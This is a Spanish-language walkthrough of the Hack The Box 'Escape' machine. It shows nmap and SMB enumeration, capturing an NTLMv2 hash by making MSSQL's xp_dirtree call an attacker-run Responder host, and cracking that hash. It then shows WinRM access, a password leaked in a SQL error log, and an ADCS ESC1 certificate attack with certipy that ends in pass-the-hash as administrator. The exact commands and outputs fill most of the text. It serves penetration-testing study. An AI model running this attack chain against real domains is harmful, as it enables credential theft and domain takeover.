Informacion de la Maquina
Tras obtener el hash NTLM de un usuario por MSSQL logramos ingresar por WinRM. El archivo de logs de sqlserver nos permitio acceder a un segundo usuario. Finalmente explotamos ADCS utilizando certipy.
Recon
nmap
nmap muestra multiples puertos abiertos: dns (53), kerberos (88), ldap (389), winRM (5985), rpc (135), ntp (123), smb (139, 445) y mssql (1433).
1# Nmap 7.93 scan initiated Thu Apr 27 13:23:00 2023 as: nmap -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49687,49688,49710,49714 -Pn -sV -sC -oN nmap_scan 10.10.11.202
2Nmap scan report for 10.10.11.202
3Host is up (0.083s latency).
4
5PORT STATE SERVICE VERSION
653/tcp open domain Simple DNS Plus
788/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-04-28 01:23:08Z)
8135/tcp open msrpc Microsoft Windows RPC
9139/tcp open netbios-ssn Microsoft Windows netbios-ssn
10389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
11|_ssl-date: 2023-04-28T01:24:39+00:00; +8h00m01s from scanner time.
12| ssl-cert: Subject: commonName=dc.sequel.htb
13| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
14| Not valid before: 2022-11-18T21:20:35
15|_Not valid after: 2023-11-18T21:20:35
16445/tcp open microsoft-ds?
17464/tcp open kpasswd5?
18593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
19636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
20|_ssl-date: 2023-04-28T01:24:38+00:00; +8h00m00s from scanner time.
21| ssl-cert: Subject: commonName=dc.sequel.htb
22| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
23| Not valid before: 2022-11-18T21:20:35
24|_Not valid after: 2023-11-18T21:20:35
251433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
26|_ssl-date: 2023-04-28T01:24:39+00:00; +8h00m01s from scanner time.
27| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
28| Not valid before: 2023-04-28T01:17:42
29|_Not valid after: 2053-04-28T01:17:42
30|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
31|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
323268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
33|_ssl-date: 2023-04-28T01:24:39+00:00; +8h00m01s from scanner time.
34| ssl-cert: Subject: commonName=dc.sequel.htb
35| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
36| Not valid before: 2022-11-18T21:20:35
37|_Not valid after: 2023-11-18T21:20:35
383269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
39| ssl-cert: Subject: commonName=dc.sequel.htb
40| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
41| Not valid before: 2022-11-18T21:20:35
42|_Not valid after: 2023-11-18T21:20:35
43|_ssl-date: 2023-04-28T01:24:38+00:00; +8h00m00s from scanner time.
445985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
45|_http-title: Not Found
46|_http-server-header: Microsoft-HTTPAPI/2.0
479389/tcp open mc-nmf .NET Message Framing
4849667/tcp open msrpc Microsoft Windows RPC
4949687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
5049688/tcp open msrpc Microsoft Windows RPC
5149710/tcp open msrpc Microsoft Windows RPC
5249714/tcp open msrpc Microsoft Windows RPC
53Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
54
55Host script results:
56|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
57| smb2-security-mode:
58| 311:
59|_ Message signing enabled and required
60| smb2-time:
61| date: 2023-04-28T01:23:59
62|_ start_date: N/A
63
64Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
65# Nmap done at Thu Apr 27 13:24:38 2023 -- 1 IP address (1 host up) scanned in 97.81 seconds
66
67# Nmap 7.93 scan initiated Thu Apr 27 13:24:45 2023 as: nmap -sU --min-rate 10000 -oN nmap_scan_udp 10.10.11.202
68Nmap scan report for 10.10.11.202
69Host is up (0.089s latency).
70Not shown: 998 open|filtered udp ports (no-response)
71PORT STATE SERVICE
7253/udp open domain
73123/udp open ntp
74
75# Nmap done at Thu Apr 27 13:24:46 2023 -- 1 IP address (1 host up) scanned in 0.99 secondsSMB
Enumerando los recursos compartidos de samba (shares) observamos Public\.
1 π ~/htb/escape ❯ smbclient -L 10.10.11.202
2Password for [WORKGROUP\kali]:
3
4 Sharename Type Comment
5 --------- ---- -------
6 ADMIN$ Disk Remote Admin
7 C$ Disk Default share
8 IPC$ IPC Remote IPC
9 NETLOGON Disk Logon server share
10 Public Disk
11 SYSVOL Disk Logon server share
12Reconnecting with SMB1 for workgroup listing.
13do_connect: Connection to 10.10.11.202 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
14Unable to connect with SMB1 -- no workgroup available
15 π ~/htb/escape ❯Dentro, unicamente encontramos un PDF el cual descargamos.
1 π ~/htb/escape ❯ smbclient \\\\10.10.11.202\\Public
2Password for [WORKGROUP\kali]:
3Try "help" to get a list of possible commands.
4smb: \> ls
5 . D 0 Sat Nov 19 06:51:25 2022
6 .. D 0 Sat Nov 19 06:51:25 2022
7 SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022
8
9 5184255 blocks of size 4096. 1475029 blocks available
10smb: \>
11smb: \> get "SQL Server Procedures.pdf"
12getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (86.9 KiloBytes/sec) (average 86.9 KiloBytes/sec)
13smb: \> exit
14 π ~/htb/escape ❯ file SQL\ Server\ Procedures.pdf
15SQL Server Procedures.pdf: PDF document, version 1.4, 2 pages
16 π ~/htb/escape ❯El PDF contiene mucha informacion relacionada a la maquina.

Del PDF podemos destacar:
- Cinco nombres de usuarios y una contrasena, el nombre
brandom.brownlo encontramos en el link del email de Brandom. Creamos un wordlist con usuarios y contrasenas.
1Ryan
2ryan
3Tom
4tom
5brandom
6brandom.brown
7PublicUser
8GuestUserCantWrite1- Es posible acceder a la base de datos desde el manejador de SQL de Microsoft.
cmdkeyesta presente en la maquina.- Finalmente nos proporcionan la combinacion de credenciales para el acceso a la base de datos.
1PublicUser : GuestUserCantWrite1User - SQL_SVC
Hash NTLM
Utilizamos el script mssqlclient de impacket con las credenciales, vemos las bases de datos por “default”.
1 π ~/htb/escape ❯ impacket-mssqlclient Publicuser:GuestUserCantWrite1@sequel.htb
2Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
3
4[*] Encryption required, switching to TLS
5[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
6[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
7[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
8[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
9[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
10[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
11[!] Press help for extra shell commands
12SQL> select user_name();
13
14
15--------------------------------------------------------------------------------------------------------------------------------
16
17guest
18
19SQL> select system_user;
20
21
22--------------------------------------------------------------------------------------------------------------------------------
23
24PublicUser
25
26SQL> SELECT name FROM master..sysdatabases;
27name
28
29--------------------------------------------------------------------------------------------------------------------------------
30
31master
32
33tempdb
34
35model
36
37msdb
38
39SQL>Utilizamos xp_dirtree para el hash NTLM del usuario actual.
1SQL> xp_dirtree '\\10.10.14.76\id'
2subdirectory depth
3
4--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------
5
6SQL>Por otro lado ejecutamos responder, luego de realizar la consulta con xp_dirtree obtuvimos el hash de sql_svc.
1 π ~/htb/escape ❯ sudo responder -I tun1
2
3[...]
4
5[SMB] NTLMv2-SSP Client : 10.10.11.202
6[SMB] NTLMv2-SSP Username : sequel\sql_svc
7[SMB] NTLMv2-SSP Hash : sql_svc::sequel:d7fbbbc65a6ea04c:9951B08D3E0B3984EF56126F97842536:010100000000000080BA7D471079D901623881BD57330F6E0000000002000800520031003900320001001E00570049004E002D0035004C0059004C00490044004500510030003700430004003400570049004E002D0035004C0059004C0049004400450051003000370043002E0052003100390032002E004C004F00430041004C000300140052003100390032002E004C004F00430041004C000500140052003100390032002E004C004F00430041004C000700080080BA7D471079D901060004000200000008003000300000000000000000000000003000003F489FD99D47AF1E3139D61F7D6F8D6F8C040A9BDD52ACAC1728182F98F7F1C90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00370036000000000000000000John - Crack the Hash
Tras ejecutar john con el wordlist rockyou.txt logramos obtener su valor en texto plano.
1 π ~/htb/escape ❯ john --wordlist=$ROCK hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
4Will run 4 OpenMP threads
5Press 'q' or Ctrl-C to abort, almost any other key for status
6REGGIE1234ronnie (sql_svc)
71g 0:00:00:05 DONE (2023-04-27 13:58) 0.1715g/s 1835Kp/s 1835Kc/s 1835KC/s RENZOJAVIER..REDMAN69
8Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
9Session completed.
10 π ~/htb/escape ❯CrackMapExec
Agregamos la nueva contrasena y usuario al wordlist de usuarios y contrasenas, y con crackmapexec buscamos una combinacion valida en el servicio WinRM.
1 π ~/htb/escape ❯ crackmapexec winrm sequel.htb -u users.txt -p users.txt | grep +
2WINRM sequel.htb 5985 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)
3 π ~/htb/escape ❯Shell
Utilizando evil-winrm logramos ingresar a la maquina.
1 π ~/htb/escape ❯ evil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnie
2
3Evil-WinRM shell v3.4
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10
11*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
12sequel\sql_svc
13*Evil-WinRM* PS C:\Users\sql_svc\Documents>User - Ryan.Cooper
Enumerando las distintas carpetas nos topamos con el archivo de log de sqlserver como “backup”.
1*Evil-WinRM* PS C:\> dir
2
3
4 Directory: C:\
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9d----- 2/1/2023 8:15 PM PerfLogs
10d-r--- 2/6/2023 12:08 PM Program Files
11d----- 11/19/2022 3:51 AM Program Files (x86)
12d----- 11/19/2022 3:51 AM Public
13d----- 2/1/2023 1:02 PM SQLServer
14d-r--- 2/1/2023 1:55 PM Users
15d----- 2/6/2023 7:21 AM Windows
16
17
18*Evil-WinRM* PS C:\> cd sqlserver
19*Evil-WinRM* PS C:\sqlserver> dir
20
21
22 Directory: C:\sqlserver
23
24
25Mode LastWriteTime Length Name
26---- ------------- ------ ----
27d----- 2/7/2023 8:06 AM Logs
28d----- 11/18/2022 1:37 PM SQLEXPR_2019
29-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
30-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe
31
32
33*Evil-WinRM* PS C:\sqlserver> cd Logs
34*Evil-WinRM* PS C:\sqlserver\Logs> dir
35
36
37 Directory: C:\sqlserver\Logs
38
39
40Mode LastWriteTime Length Name
41---- ------------- ------ ----
42-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
43
44
45*Evil-WinRM* PS C:\sqlserver\Logs> Tras analizar dicho archivo encontramos que, el usuario Ryan.Cooper realizo varios intentos de logeo al servidor, y se muestra que posiblemente su contrasena sea NuclearMosquito3.
1*Evil-WinRM* PS C:\sqlserver\Logs> cat ERRORLOG.BAK
22022-11-18 13:43:05.96 Server Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
3 Sep 24 2019 13:48:23
4 Copyright (C) 2019 Microsoft Corporation
5 Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)
6
72022-11-18 13:43:05.97 Server UTC adjustment: -8:00
82022-11-18 13:43:05.97 Server (c) Microsoft Corporation.
92022-11-18 13:43:05.97 Server All rights reserved.
102022-11-18 13:43:05.97 Server Server process ID is 3788.
112022-11-18 13:43:05.97 Server System Manufacturer: 'VMware, Inc.', System Model: 'VMware7,1'.
122022-11-18 13:43:05.97 Server Authentication mode is MIXED.
132022-11-18 13:43:05.97 Server Logging SQL Server messages in file 'C:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\Log\ERRORLOG'.
142022-11-18 13:43:05.97 Server The service account is 'NT Service\MSSQL$SQLMOCK'. This is an informational message; no user action is required.
15[ ... ]
162022-11-18 13:43:07.39 spid51 Configuration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.
172022-11-18 13:43:07.44 spid51 Changed database context to 'master'.
182022-11-18 13:43:07.44 spid51 Changed language setting to us_english.
192022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8.
202022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
212022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
222022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
232022-11-18 13:43:07.72 spid51 Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
242022-11-18 13:43:07.76 spid51 Using 'xpstar.dll' version '2019.150.2000' to execute extended stored procedure 'xp_sqlagent_is_starting'. This is an informational message only; no user action is required.
252022-11-18 13:43:08.24 spid51 Changed database context to 'master'.
262022-11-18 13:43:08.24 spid51 Changed language setting to us_english.
272022-11-18 13:43:09.29 spid9s SQL Server is terminating in response to a 'stop' request from Service Control Manager. This is an informational message only. No user action is required.
282022-11-18 13:43:09.31 spid9s .NET Framework runtime has been stopped.
292022-11-18 13:43:09.43 spid9s SQL Trace was stopped due to server shutdown. Trace ID = '1'. This is an informational message only; no user action is required.
30*Evil-WinRM* PS C:\sqlserver\Logs>1Ryan.Cooper : NuclearMosquito3Utilizando crackmapexec con el wordlist y contrasena encontrada, encontramos que el par anterior es valido.
1 π ~/htb/escape ❯ crackmapexec winrm sequel.htb -u users.txt -p 'NuclearMosquito3' | grep +
2WINRM sequel.htb 5985 DC [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)
3 π ~/htb/escape ❯Shell
Utilizando las credenciales accedimos por WinRM y, leer nuestra flag user.txt.
1 π ~/htb/escape ❯ evil-winrm -i sequel.htb -u Ryan.Cooper -p NuclearMosquito3
2
3Evil-WinRM shell v3.4
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10
11*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
12sequel\ryan.cooper
13*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> cd ../Desktop
14*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> dir
15
16
17 Directory: C:\Users\Ryan.Cooper\Desktop
18
19
20Mode LastWriteTime Length Name
21---- ------------- ------ ----
22-ar--- 4/27/2023 6:17 PM 34 user.txt
23
24
25*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> cat user.txt
26b814afdf0709c9fed06667aaf7f1c38f
27*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop>Privesc
Enumerando los grupos del usuario Ryan observamos Certificate Service DCOM Access lo cual nos lleva a Active Directory Certificate Services (ADCS).
1*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> whoami /all
2
3USER INFORMATION
4----------------
5
6User Name SID
7================== ==============================================
8sequel\ryan.cooper S-1-5-21-4078382237-1492182817-2568127209-1105
9
10
11GROUP INFORMATION
12-----------------
13
14Group Name Type SID Attributes
15=========================================== ================ ============ ==================================================
16Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
17BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
18BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
19BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
20BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
21NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
22NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
23NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
24NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
25Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
26
27
28PRIVILEGES INFORMATION
29----------------------
30
31Privilege Name Description State
32============================= ============================== =======
33SeMachineAccountPrivilege Add workstations to domain Enabled
34SeChangeNotifyPrivilege Bypass traverse checking Enabled
35SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
36
37
38USER CLAIMS INFORMATION
39-----------------------
40
41User claims unknown.
42
43Kerberos support for Dynamic Access Control on this device has been disabled.
44*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop>Existen dos herramientas para enumerar los certificados, la primera Certify.exe la cual es un ejecutable y la segunda Certipy que bien puede ser ejecutado con credenciales validas fuera de la maquina.
Certipy
Utilizando la segunda opcion, enumeramos las plantillas vulnerables, observamos que la plantilla UserAuthentication es vulnerable a ESC1 (1, 2).
1 π ~/htb/escape ❯ certipy-ad find -vulnerable -u ryan.cooper@sequel.htb -p NuclearMosquito3 -stdout
2Certipy v4.4.0 - by Oliver Lyak (ly4k)
3
4[*] Finding certificate templates
5[*] Found 34 certificate templates
6[*] Finding certificate authorities
7[*] Found 1 certificate authority
8[*] Found 12 enabled certificate templates
9[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
10[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
11[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
12[*] Got CA configuration for 'sequel-DC-CA'
13[*] Enumeration output:
14Certificate Authorities
15 0
16 CA Name : sequel-DC-CA
17 DNS Name : dc.sequel.htb
18 Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
19 Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
20 Certificate Validity Start : 2022-11-18 20:58:46+00:00
21 Certificate Validity End : 2121-11-18 21:08:46+00:00
22 Web Enrollment : Disabled
23 User Specified SAN : Disabled
24 Request Disposition : Issue
25 Enforce Encryption for Requests : Enabled
26 Permissions
27 Owner : SEQUEL.HTB\Administrators
28 Access Rights
29 ManageCa : SEQUEL.HTB\Administrators
30 SEQUEL.HTB\Domain Admins
31 SEQUEL.HTB\Enterprise Admins
32 ManageCertificates : SEQUEL.HTB\Administrators
33 SEQUEL.HTB\Domain Admins
34 SEQUEL.HTB\Enterprise Admins
35 Enroll : SEQUEL.HTB\Authenticated Users
36Certificate Templates
37 0
38 Template Name : UserAuthentication
39 Display Name : UserAuthentication
40 Certificate Authorities : sequel-DC-CA
41 Enabled : True
42 Client Authentication : True
43 Enrollment Agent : False
44 Any Purpose : False
45 Enrollee Supplies Subject : True
46 Certificate Name Flag : EnrolleeSuppliesSubject
47 Enrollment Flag : IncludeSymmetricAlgorithms
48 PublishToDs
49 Private Key Flag : ExportableKey
50 Extended Key Usage : Client Authentication
51 Secure Email
52 Encrypting File System
53 Requires Manager Approval : False
54 Requires Key Archival : False
55 Authorized Signatures Required : 0
56 Validity Period : 10 years
57 Renewal Period : 6 weeks
58 Minimum RSA Key Length : 2048
59 Permissions
60 Enrollment Permissions
61 Enrollment Rights : SEQUEL.HTB\Domain Admins
62 SEQUEL.HTB\Domain Users
63 SEQUEL.HTB\Enterprise Admins
64 Object Control Permissions
65 Owner : SEQUEL.HTB\Administrator
66 Write Owner Principals : SEQUEL.HTB\Domain Admins
67 SEQUEL.HTB\Enterprise Admins
68 SEQUEL.HTB\Administrator
69 Write Dacl Principals : SEQUEL.HTB\Domain Admins
70 SEQUEL.HTB\Enterprise Admins
71 SEQUEL.HTB\Administrator
72 Write Property Principals : SEQUEL.HTB\Domain Admins
73 SEQUEL.HTB\Enterprise Admins
74 SEQUEL.HTB\Administrator
75 [!] Vulnerabilities
76 ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
77 π ~/htb/escape ❯La misma herramienta nos permite explotar distintas vulnerabilidades, las cuales las define en su repositorio. En este caso explotamos ESC1, pasando los parametros y valores necesarios.
1 π ~/htb/escape ❯ certipy-ad req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -ca sequel-DC-CA -target 10.10.11.202 -template UserAuthentication -upn administrator@sequel.htb
2Certipy v4.4.0 - by Oliver Lyak (ly4k)
3
4[*] Requesting certificate via RPC
5[*] Successfully requested certificate
6[*] Request ID is 14
7[*] Got certificate with UPN 'administrator@sequel.htb'
8[*] Certificate has no object SID
9[*] Saved certificate and private key to 'administrator.pfx'
10 π ~/htb/escape ❯ Tras intentar autenticarnos con el certificado observamos el error KRB_AP_ERR_SKEW.
1 π ~/htb/escape ❯ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.202
2Certipy v4.4.0 - by Oliver Lyak (ly4k)
3
4[*] Using principal: administrator@sequel.htb
5[*] Trying to get TGT...
6[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
7 π ~/htb/escape ❯Para solucionar este error es necesario sincronizar nuestro reloj con el de la maquina, el puerto ntp esta abierto en la maquina, por lo que utilizando ntpdate bastaria.
1sudo apt install ntpdate
2ntpdate <IP of DC>Tras ejecutar nuevamente observamos el hash del usuario administrator.
1 π ~/htb/escape ❯ sudo ntpdate 10.10.11.202
22023-04-28 00:08:54.249849 (-0400) +28800.117156 +/- 0.041445 10.10.11.202 s1 no-leap
3CLOCK: time stepped by 28800.117156
4 π ~/htb/escape ❯ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.202
5Certipy v4.4.0 - by Oliver Lyak (ly4k)
6
7[*] Using principal: administrator@sequel.htb
8[*] Trying to get TGT...
9[*] Got TGT
10[*] Saved credential cache to 'administrator.ccache'
11[*] Trying to retrieve NT hash for 'administrator'
12[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
13 π ~/htb/escape ❯Shell
Utilizando el hash por winRM logramos obtener una shell como “root” y nuestra flag root.txt.
1 π ~/htb/escape ❯ evil-winrm -i sequel.htb -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee
2
3Evil-WinRM shell v3.4
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10
11*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
12sequel\administrator
13*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
14*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
15
16
17 Directory: C:\Users\Administrator\Desktop
18
19
20Mode LastWriteTime Length Name
21---- ------------- ------ ----
22-ar--- 4/27/2023 6:17 PM 34 root.txt
23
24
25c*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
26eda4e555589ce4e6cba1082cf0c8f857
27*Evil-WinRM* PS C:\Users\Administrator\Desktop>
